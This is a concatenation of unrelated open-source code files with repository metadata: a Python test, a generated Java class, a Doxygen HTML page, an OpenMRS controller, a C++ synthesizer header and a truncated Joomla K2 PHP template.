self.assertListEqual( [ "publication_date/unset_date#content", "publication_date/reset_date#content", ], [ el.attrib["action"].rpartition("@@")[-1] for el in soup.cssselect("form") ], ) def test_modify_updates_last_modifier(self): account = addAccount(password="secret") survey_session = model.SurveySession( title=u"Dummy session", account=account, zodb_path="" ) self.assertEqual(survey_session.modified, None) self.assertEqual(survey_session.last_modifier, None) with api.env.adopt_user(user=account): notify(ObjectModifiedEvent(survey_session)) self.assertIsInstance(survey_session.modified, datetime) self.assertEqual(survey_session.last_modifier, account)
euphorie/Euphorie
src/euphorie/client/tests/test_survey_integration.py
Python
gpl-2.0
5,946
// // This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, vhudson-jaxb-ri-2.2-146 // See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a> // Any modifications to this file will be lost upon recompilation of the source schema. // Generated on: 2021.05.29 at 10:12:22 PM IRDT // package org.rebecalang.compiler.modelcompiler.corerebeca.objectmodel; import java.util.Comparator; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlAttribute; import javax.xml.bind.annotation.XmlElement; import javax.xml.bind.annotation.XmlSeeAlso; import javax.xml.bind.annotation.XmlType; import org.rebecalang.compiler.modelcompiler.abstractrebeca.AbstractTypeSystem; /** * <p>Java class for Type complex type. * * <p>The following schema fragment specifies the expected content contained within this class. * * <pre> * &lt;complexType name="Type"> * &lt;complexContent> * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"> * &lt;sequence> * &lt;element name="typeSystem" type="{http://rebecalang.org/compiler/modelcompiler/corerebecaexpression}TypeSystem"/> * &lt;/sequence> * &lt;attribute name="lineNumber" type="{http://www.w3.org/2001/XMLSchema}int" /> * &lt;attribute name="character" type="{http://www.w3.org/2001/XMLSchema}int" /> * &lt;/restriction> * &lt;/complexContent> * &lt;/complexType> * </pre> * * */ @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "Type", namespace = "http://rebecalang.org/compiler/modelcompiler/corerebecaexpression", propOrder = { "typeSystem" }) @XmlSeeAlso({ GenericTypeInstance.class, GenericType.class, OrdinaryPrimitiveType.class, ArrayType.class }) public class Type { @XmlElement(required = true) protected AbstractTypeSystem typeSystem; @XmlAttribute(name = "lineNumber") protected Integer lineNumber; @XmlAttribute(name = "character") protected Integer character; /** * Gets the value of the typeSystem property. * * @return * possible object is * {@link AbstractTypeSystem } * */ public AbstractTypeSystem getTypeSystem() { return typeSystem; } /** * Sets the value of the typeSystem property. * * @param value * allowed object is * {@link AbstractTypeSystem } * */ public void setTypeSystem(AbstractTypeSystem value) { this.typeSystem = value; } /** * Gets the value of the lineNumber property. * * @return * possible object is * {@link Integer } * */ public Integer getLineNumber() { return lineNumber; } /** * Sets the value of the lineNumber property. * * @param value * allowed object is * {@link Integer } * */ public void setLineNumber(Integer value) { this.lineNumber = value; } /** * Gets the value of the character property. * * @return * possible object is * {@link Integer } * */ public Integer getCharacter() { return character; } /** * Sets the value of the character property. * * @param value * allowed object is * {@link Integer } * */ public void setCharacter(Integer value) { this.character = value; } public String getTypeName() { return "General-Type"; } public boolean canTypeCastTo(Type target) { return this.canTypeUpCastTo(target) || canTypeDownCastTo(target); } public boolean canTypeDownCastTo(Type target) { return target.canTypeUpCastTo(this); } public boolean canTypeUpCastTo(Type target) { return false; } public static Comparator<Type> getCastableComparator() { return new Comparator<Type>() { public int compare(Type base, Type target) { if (!base.canTypeUpCastTo(target)) return 1; return 0; } }; } public static Comparator<Type> getExactComparator() { return new Comparator<Type>() { public int compare(Type base, Type target) { if (base instanceof OrdinaryPrimitiveType) { if (base != target) return 1; } else if (base instanceof ArrayType) { if (!base.canTypeUpCastTo(target)) return 1; ArrayType baseArrayType = (ArrayType) base; ArrayType targetArrayType = (ArrayType) target; if (baseArrayType.getOrdinaryPrimitiveType() != targetArrayType .getOrdinaryPrimitiveType()) { return 1; } } return 0; } }; } }
rebeca-lang/org.rebecalang.compiler
src/main/java/org/rebecalang/compiler/modelcompiler/corerebeca/objectmodel/Type.java
Java
gpl-2.0
4,723
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <meta name="generator" content="Doxygen 1.8.3.1"/> <title>Taobao Cpp/Qt SDK: Member List</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">Taobao Cpp/Qt SDK </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.3.1 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li><a href="pages.html"><span>Related&#160;Pages</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="inherits.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Pages</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> </div><!-- top --> <div class="header"> <div class="headertitle"> <div class="title">MicropayOrderDirectPayRequest Member List</div> </div> </div><!--header--> <div class="contents"> <p>This is the complete list of members for <a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a>, including all inherited members.</p> <table class="directory"> <tr class="even"><td class="entry"><a class="el" href="classTaoRequest.html#a7dcc6b71d454184a32a3f1c0adbc4a64">accessToken</a></td><td class="entry"><a class="el" href="classTaoRequest.html">TaoRequest</a></td><td class="entry"><span class="mlabel">protected</span></td></tr> <tr><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html#a5416c8a5f29bb780668bc7f7f298826a">alipayOrderNo</a></td><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a></td><td class="entry"><span class="mlabel">private</span></td></tr> <tr class="even"><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html#acf1914d3333c78aeecbb69eb0b30adfa">amount</a></td><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a></td><td class="entry"><span class="mlabel">private</span></td></tr> <tr><td class="entry"><a class="el" href="classTaoRequest.html#a225e5fceee5e4da13b810b08e8fb4f08">appParams</a></td><td class="entry"><a class="el" href="classTaoRequest.html">TaoRequest</a></td><td class="entry"><span class="mlabel">protected</span></td></tr> <tr class="even"><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html#a6ffcd4778a56b02a5f4ecc862147213b">authToken</a></td><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a></td><td class="entry"><span class="mlabel">private</span></td></tr> <tr><td class="entry"><a class="el" href="classTaoRequest.html#a96a6a1683f84eb0dfa8e3ac3b7b2a7ec">fileParams</a></td><td class="entry"><a class="el" href="classTaoRequest.html">TaoRequest</a></td><td class="entry"><span class="mlabel">protected</span></td></tr> <tr class="even"><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html#a3787a2b196a6099fe35d5d01db182a0e">getAlipayOrderNo</a>() const </td><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a></td><td class="entry"></td></tr> <tr><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html#a29d322ea0bb8d8333c4afec7687a8193">getAmount</a>() const </td><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a></td><td class="entry"></td></tr> <tr class="even"><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html#ad0ce9dad9a7ec7c813a2f6d653c25e72">getApiMethodName</a>() const </td><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a></td><td class="entry"><span class="mlabel">virtual</span></td></tr> <tr><td class="entry"><a class="el" href="classTaoRequest.html#ab217f7e0ca74b04ca06631ca2d6b7143">getAppParams</a>() const </td><td class="entry"><a class="el" href="classTaoRequest.html">TaoRequest</a></td><td class="entry"><span class="mlabel">inline</span></td></tr> <tr class="even"><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html#af725f34a7307c2b184db269f105e624a">getAuthToken</a>() const </td><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a></td><td class="entry"></td></tr> <tr><td class="entry"><a class="el" href="classTaoRequest.html#a882af7ef5496a1d51c7d5cdb750171cb">getFileParams</a>() const </td><td class="entry"><a class="el" href="classTaoRequest.html">TaoRequest</a></td><td class="entry"><span class="mlabel">inline</span></td></tr> <tr class="even"><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html#ac459b92a2e412c4f951eff471914b931">getMemo</a>() const </td><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a></td><td class="entry"></td></tr> <tr><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html#a51635120ee87ed0705cc3333fc4ef801">getReceiveUserId</a>() const </td><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a></td><td class="entry"></td></tr> <tr class="even"><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html#ab91f9f22f840fbc47d44b0db179243a6">getResponseClass</a>(const QString &amp;session=&quot;&quot;, const QString &amp;accessToken=&quot;&quot;)</td><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a></td><td class="entry"><span class="mlabel">virtual</span></td></tr> <tr><td class="entry"><a class="el" href="classTaoRequest.html#a7fb821273e740e001987bf616868326c">getResponseStr</a>()</td><td class="entry"><a class="el" href="classTaoRequest.html">TaoRequest</a></td><td class="entry"></td></tr> <tr class="even"><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html#a42fc259ad5fdef192988dfe1e57f3b25">getTransferOutOrderNo</a>() const </td><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a></td><td class="entry"></td></tr> <tr><td class="entry"><a class="el" href="classTaoRequest.html#af94edc28d753537959108571b8d56090">getWebReply</a>(const QString &amp;session=&quot;&quot;, const QString &amp;accessToken=&quot;&quot;)</td><td class="entry"><a class="el" href="classTaoRequest.html">TaoRequest</a></td><td class="entry"></td></tr> <tr class="even"><td class="entry"><a class="el" href="classTaoRequest.html#aba6dfd56b8aef41b05295187d4d268cb">httpsSysParams</a>()</td><td class="entry"><a class="el" href="classTaoRequest.html">TaoRequest</a></td><td class="entry"><span class="mlabel">protected</span></td></tr> <tr><td class="entry"><a class="el" href="classTaoRequest.html#ade369f7d80fdaa1930fec938103d904b">httpSysParams</a>()</td><td class="entry"><a class="el" href="classTaoRequest.html">TaoRequest</a></td><td class="entry"><span class="mlabel">protected</span></td></tr> <tr class="even"><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html#ab1aa9315e98ad902c654cc4e36f66a57">memo</a></td><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a></td><td class="entry"><span class="mlabel">private</span></td></tr> <tr><td class="entry"><a class="el" href="classTaoRequest.html#af9858ffbdbc66dc697530b2e722810a5">putOtherTextParam</a>(const QString &amp;key, const QString &amp;value)</td><td class="entry"><a class="el" href="classTaoRequest.html">TaoRequest</a></td><td class="entry"><span class="mlabel">inline</span></td></tr> <tr class="even"><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html#af5547366bb270785c9ccbdd8f03895c4">receiveUserId</a></td><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a></td><td class="entry"><span class="mlabel">private</span></td></tr> <tr><td class="entry"><a class="el" href="classTaoRequest.html#abe638f4102c119ae2abca570055c1685">responseStr</a></td><td class="entry"><a class="el" href="classTaoRequest.html">TaoRequest</a></td><td class="entry"><span class="mlabel">protected</span></td></tr> <tr class="even"><td class="entry"><a class="el" href="classTaoRequest.html#a9956848123bf21777fb605b4585a7c98">session</a></td><td class="entry"><a class="el" href="classTaoRequest.html">TaoRequest</a></td><td class="entry"><span class="mlabel">protected</span></td></tr> <tr><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html#ac39f5b629f190e2e407a773ab83ff41a">setAlipayOrderNo</a>(QString alipayOrderNo)</td><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a></td><td class="entry"></td></tr> <tr class="even"><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html#a0a4fee140b70638bd36b1606bffa6ef7">setAmount</a>(QString amount)</td><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a></td><td class="entry"></td></tr> <tr><td class="entry"><a class="el" href="classTaoRequest.html#ac3a1bd2ffd565738555ee6a0965bbad8">setAppInfo</a>(TaoApiInfo *appInfo)</td><td class="entry"><a class="el" href="classTaoRequest.html">TaoRequest</a></td><td class="entry"><span class="mlabel">inline</span></td></tr> <tr class="even"><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html#a73e6fb2e3ca30a91ebb074e48f9c3d75">setAuthToken</a>(QString authToken)</td><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a></td><td class="entry"></td></tr> <tr><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html#a2986f8d54b15bc3cb2bfbd5328a9da9e">setMemo</a>(QString memo)</td><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a></td><td class="entry"></td></tr> <tr class="even"><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html#af75ac7d0e6f8c0e37c4ea2138b2e48cc">setReceiveUserId</a>(QString receiveUserId)</td><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a></td><td class="entry"></td></tr> <tr><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html#a13792f4b130a50f3938055c8111df207">setTransferOutOrderNo</a>(QString transferOutOrderNo)</td><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a></td><td class="entry"></td></tr> <tr class="even"><td class="entry"><a class="el" href="classTaoRequest.html#a873a2ad1cf4a53f75fd7304984b20b86">sysParams</a></td><td class="entry"><a class="el" href="classTaoRequest.html">TaoRequest</a></td><td class="entry"><span class="mlabel">protected</span></td></tr> <tr><td class="entry"><a class="el" href="classTaoRequest.html#af42b8c910d126f857746484bdb72c9bb">taoApiInfo</a></td><td class="entry"><a class="el" href="classTaoRequest.html">TaoRequest</a></td><td class="entry"><span class="mlabel">protected</span></td></tr> <tr class="even"><td class="entry"><a class="el" href="classTaoRequest.html#a8d978975feae63c26c3bda781de176b4">TaoRequest</a>()</td><td class="entry"><a class="el" href="classTaoRequest.html">TaoRequest</a></td><td class="entry"><span class="mlabel">inline</span></td></tr> <tr><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html#af8d9e191893c61a120ec05864d57a09f">transferOutOrderNo</a></td><td class="entry"><a class="el" href="classMicropayOrderDirectPayRequest.html">MicropayOrderDirectPayRequest</a></td><td class="entry"><span class="mlabel">private</span></td></tr> </table></div><!-- contents --> <!-- start footer part --> <hr class="footer"/><address class="footer"><small> Generated on Sun Apr 14 2013 16:25:39 for Taobao Cpp/Qt SDK by &#160;<a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/> </a> 1.8.3.1 </small></address> </body> </html>
sd44/TaobaoCppQtSDK
doc/classMicropayOrderDirectPayRequest-members.html
HTML
gpl-2.0
15,759
/** * Copyright 2014 Society for Health Information Systems Programmes, India (HISP India) * * This file is part of Registration module. * * Registration module is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * Registration module is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Registration module. If not, see <http://www.gnu.org/licenses/>. * **/ package org.openmrs.module.registration.web.controller.patient; import java.io.IOException; import javax.servlet.http.HttpServletRequest; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import org.dom4j.DocumentException; import org.jaxen.JaxenException; import org.openmrs.module.registration.util.RegistrationConstants; import org.openmrs.module.registration.util.RegistrationUtils; import org.openmrs.module.registration.web.controller.util.RegistrationWebUtils; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; @Controller("RevisitPatientRegistrationController") @RequestMapping("/revisitPatientRegistration.htm") public class RevisitPatientRegistrationController { private static Log logger = LogFactory .getLog(RevisitPatientRegistrationController.class); @RequestMapping(method = RequestMethod.GET) public String showForm(HttpServletRequest request, Model model) throws JaxenException, DocumentException, IOException { model.addAttribute("patientIdentifier", RegistrationUtils.getNewIdentifier()); model.addAttribute( "referralHospitals", RegistrationWebUtils .getSubConcepts(RegistrationConstants.CONCEPT_NAME_PATIENT_REFERRED_FROM)); model.addAttribute( "referralReasons", RegistrationWebUtils .getSubConcepts(RegistrationConstants.CONCEPT_NAME_REASON_FOR_REFERRAL)); RegistrationWebUtils.getAddressData(model); // model.addAttribute("OPDs", // RegistrationWebUtils.getSubConcepts(RegistrationConstants.CONCEPT_NAME_OPD_WARD)); // ghanshyam,16-dec-2013,3438 Remove the interdependency model.addAttribute( "TEMPORARYCAT", RegistrationWebUtils .getSubConcepts(RegistrationConstants.CONCEPT_NAME_MEDICO_LEGAL_CASE)); model.addAttribute("TRIAGE", RegistrationWebUtils .getSubConcepts(RegistrationConstants.CONCEPT_NAME_TRIAGE)); model.addAttribute( "OPDs", RegistrationWebUtils .getSubConcepts(RegistrationConstants.CONCEPT_NAME_OPD_WARD)); return "/module/registration/patient/revisitPatientRegistration"; } }
kenyaehrs/Registration
omod/src/main/java/org/openmrs/module/registration/web/controller/patient/RevisitPatientRegistrationController.java
Java
gpl-2.0
3,049
/* * Copyright(c) 2000 UltraMaster Group * * License to use UltraMaster Juno-6 is provided free of charge subject to the * following restrictions: * * 1.) This license is for your personal use only. * * 2.) No portion of this software may be redistributed by you to any other * person in any form. * * 3.) You may not sell UltraMaster Juno-6 to any person. * * 4.) UltraMaster Juno-6 is provided without any express or implied warranty. * In no event shall UltraMaster Group be held liable for any damages * arising from the use of UltraMaster Juno-6. */ #ifndef _JUNO_WRAPPERS_H #define _JUNO_WRAPPERS_H #include <moog/moog.h> #include <gmoog/juno_widgets.h> /***********************/ class JunoKeyboard : public MoogObject { friend void JunoKeyboard_midiGateChanged(MoogObject *, double, long); friend void JunoKeyboard_gtkKeyPressed(GtkWidget *, guint, guint,gpointer); friend void JunoKeyboard_gtkKeyReleased(GtkWidget *, guint, gpointer); friend void JunoKeyboard_octaveTransposeChanged(MoogObject *, double,long); friend void JunoKeyboard_keyTransposeChanged(MoogObject *, double, long); friend void JunoKeyboard_masterTuneChanged(MoogObject *, double, long); friend void JunoKeyboard_holdChanged(MoogObject *, double, long); int octaveTranspose; int keyTransposePressed; int keyTranspose; int holdPressed; int numVoices; double masterTune; int *savedGateInfo; Output **pitchOutputs; Output **gateOutputs; void midiGateChanged(int, double); void gtkKeyPressed(unsigned int, unsigned int); void gtkKeyReleased(unsigned int); void octaveTransposeChanged(double); void keyTransposeChanged(double); void masterTuneChanged(double); void holdChanged(double); void transposeVoices(double); public: GtkWidget* widget; JunoKeyboard(int); ~JunoKeyboard(); int getKeyTranspose() { return keyTranspose; } const char* getClassName(){ return( "JunoKeyboard" ); } }; /***********************/ class JunoSlider : public MoogObject { friend void JunoSlider_midiValueChanged(MoogObject *, double, long); Output* output; void midiValueChanged(double ); public: void setValue(double ); double getValue(); GtkWidget* widget; GtkAdjustment* adj; JunoSlider( const char* name ); void updateOutput(); const char* getClassName(){ return( "JunoSlider" ); } }; /***********************/ class JunoButton : public MoogObject { friend void JunoButton_midiValueChanged(MoogObject *, double, long); int state; Output* output; void midiValueChanged(double); public: GtkWidget* widget; GtkWidget* led; JunoButton( GtkJunoButtonType type, const char* name, bool useLed = true ); void buttonPressed(); void set( int _state ); void setLed(int); void setValue( double); double getValue(); const char* getClassName(){ return( "JunoButton" ); } }; /***********************/ class JunoSwitch : public MoogObject { friend void JunoSwitch_midiValueChanged(MoogObject *, double, long); Output *output; void midiValueChanged(double); public: GtkWidget* widget; void setValue( double); double getValue(); JunoSwitch(GtkJunoSwitchType type, const char* name ); void updateOutput(); const char* getClassName(){ return( "JunoSwitch" ); } }; /***********************/ class JunoKnob : public MoogObject { friend void JunoKnob_midiValueChanged(MoogObject *, double, long); Output *output; public: void midiValueChanged(double); GtkWidget *widget; void setValue( double); double getValue(); JunoKnob(const char *name); void updateOutput(); const char *getClassName() { return "JunoKnob"; } }; /***********************/ class JunoAlphaLed : public MoogObject { friend void JunoAlphaLed_midiValueChanged(MoogObject *, double, long); Output *output; void midiValueChanged(double); public: GtkWidget *widget; void setValue( double); JunoAlphaLed( const char*); void updateOutput(); const char *getClassName() { return "JunoAlphaLed"; } int getValue(); }; /***********************/ class JunoBender : public MoogObject { friend void JunoBender_midiValueChanged(MoogObject *, double, long); Output *output; void midiValueChanged(double); public: GtkWidget *widget; JunoBender(const char *name); void updateOutput(); const char *getClassName() { return "JunoBender"; } }; /***********************/ class JunoLfoTrigger : public MoogObject { friend void JunoLfoTrigger_midiValueChanged(MoogObject *, double, long); Output *output; void midiValueChanged(double); public: GtkWidget *widget; JunoLfoTrigger(const char *name); void updateOutput(); const char *getClassName() { return "JunoLfoTrigger"; } }; #endif /* _JUNO_WRAPPERS_H */
kmtaylor/juno6
juno6/juno_wrappers.h
C
gpl-2.0
4,952
<?php /** * @version $Id: user.php 1344 2011-11-25 16:47:03Z joomlaworks $ * @package K2 * @author JoomlaWorks http://www.joomlaworks.gr * @copyright Copyright (c) 2006 - 2011 JoomlaWorks Ltd. All rights reserved. * @license GNU/GPL license: http://www.gnu.org/copyleft/gpl.html */ // no direct access defined('_JEXEC') or die('Restricted access'); // Get user stuff (do not change) $user = &JFactory::getUser(); ?> <!-- Start K2 User Layout --> <div id="k2Container" class="userView<?php if($this->params->get('pageclass_sfx')) echo ' '.$this->params->get('pageclass_sfx'); ?>"> <!-- Page title --> <?php if($this->params->get('show_page_title') && $this->params->get('page_title')!=$this->user->name): ?> <div class="componentheading <?php echo $this->params->get('pageclass_sfx')?>"> <h2><?php echo $this->escape($this->params->get('page_title')); ?></h2> </div> <?php endif; ?> <!-- RSS feed icon --> <?php if($this->params->get('userFeedIcon',1)): ?> <div class="k2FeedIcon"> <a href="<?php echo $this->feed; ?>" title="<?php echo JText::_('K2_SUBSCRIBE_TO_THIS_RSS_FEED'); ?>"> <span><?php echo JText::_('K2_SUBSCRIBE_TO_THIS_RSS_FEED'); ?></span> </a> <div class="clr"></div> </div> <?php endif; ?> <?php if ($this->params->get('userImage') || $this->params->get('userName') || $this->params->get('userDescription') || $this->params->get('userURL') || $this->params->get('userEmail')): ?> <div class="userBlock"> <!-- Item add link --> <?php if(isset($this->addLink) && JRequest::getInt('id')==$user->id): ?> <span class="userItemAddLink"> <a class="modal" rel="{handler:'iframe',size:{x:990,y:550}}" href="<?php echo $this->addLink; ?>"> <?php echo JText::_('K2_POST_A_NEW_ITEM'); ?> </a> </span> <?php endif; ?> <!-- User image --> <?php if ($this->params->get('userImage') && !empty($this->user->avatar)): ?> <img src="<?php echo $this->user->avatar; ?>" alt="<?php echo $this->user->name; ?>" style="width:<?php echo $this->params->get('userImageWidth'); ?>px; height:auto;" /> <?php endif; ?> <!-- User name --> <?php if ($this->params->get('userName')): ?> <h2><?php echo $this->user->name; ?></h2> <?php endif; ?> <!-- User description --> <?php if ($this->params->get('userDescription') && trim($this->user->profile->description)): ?> <div class="userDescription"><?php echo $this->user->profile->description; ?></div> <?php endif; ?> <!-- User additional info --> <?php if (($this->params->get('userURL') && isset($this->user->profile->url) && $this->user->profile->url) || $this->params->get('userEmail')): ?> <div class="userAdditionalInfo"> <?php if ($this->params->get('userURL') && isset($this->user->profile->url) && $this->user->profile->url): ?> <span class="userURL"> <?php echo JText::_('K2_WEBSITE_URL'); ?>: <a href="<?php echo $this->user->profile->url; ?>" target="_blank" rel="me"><?php echo $this->user->profile->url; ?></a> </span> <?php endif; ?> <?php if ($this->params->get('userEmail')): ?> <span class="userEmail"> <?php echo JText::_('K2_EMAIL'); ?>: <?php echo JHTML::_('Email.cloak', $this->user->email); ?> </span> <?php endif; ?> </div> <?php endif; ?> <div class="clr"></div> <?php echo $this->user->event->K2UserDisplay; ?> <div class="clr"></div> </div> <?php endif; ?> <!-- Item list --> <?php if(count($this->items)): ?> <div class="userItemList"> <?php foreach ($this->items as $item): ?> <!-- Start K2 Item Layout --> <div class="userItemView<?php if(!$item->published || ($item->publish_up != $this->nullDate && $item->publish_up > $this->now) || ($item->publish_down != $this->nullDate && $item->publish_down < $this->now)) echo ' userItemViewUnpublished'; ?><?php echo ($item->featured) ? ' userItemIsFeatured' : ''; ?>"> <!-- Plugins: BeforeDisplay --> <?php echo $item->event->BeforeDisplay; ?> <!-- K2 Plugins: K2BeforeDisplay --> <?php echo $item->event->K2BeforeDisplay; ?> <div class="userItemHeader"> <!-- Item title --> <?php if($item->params->get('userItemTitle')): ?> <?php if(isset($item->editLink)): ?> <!-- Item edit link --> <span class="userItemEditLink"> <a class="modal" rel="{handler:'iframe',size:{x:990,y:550}}" href="<?php echo $item->editLink; ?>"> <?php echo JText::_('K2_EDIT_ITEM'); ?> </a> </span> <?php endif; ?> <h3 class="userItemTitle"> <?php if ($item->params->get('userItemTitleLinked') && $item->published): ?> <a href="<?php echo $item->link; ?>"> <?php echo $item->title; ?> </a> <?php else: ?> <?php echo $item->title; ?> <?php endif; ?> <?php if(!$item->published || ($item->publish_up != $this->nullDate && $item->publish_up > $this->now) || ($item->publish_down != $this->nullDate && $item->publish_down < $this->now)): ?> <span> <sup> <?php echo JText::_('K2_UNPUBLISHED'); ?> </sup> </span> <?php endif; ?> </h3> <?php endif; ?> <!-- Date created --> <?php if($item->params->get('userItemDateCreated')): ?> <span class="userItemDateCreated"> <?php echo JHTML::_('date', $item->created , JText::_('K2_DATE_FORMAT_LC2')); ?> </span> <?php endif; ?> </div> <!-- Plugins: AfterDisplayTitle --> <?php echo $item->event->AfterDisplayTitle; ?> <!-- K2 Plugins: K2AfterDisplayTitle --> <?php echo $item->event->K2AfterDisplayTitle; ?> <div class="userItemBody"> <!-- Plugins: BeforeDisplayContent --> <?php echo $item->event->BeforeDisplayContent; ?> <!-- K2 Plugins: K2BeforeDisplayContent --> <?php echo $item->event->K2BeforeDisplayContent; ?> <!-- Item Image --> <?php if($item->params->get('userItemImage') && !empty($item->imageGeneric)): ?> <div class="userItemImageBlock"> <span class="userItemImage"> <a href="<?php echo $item->link; ?>" 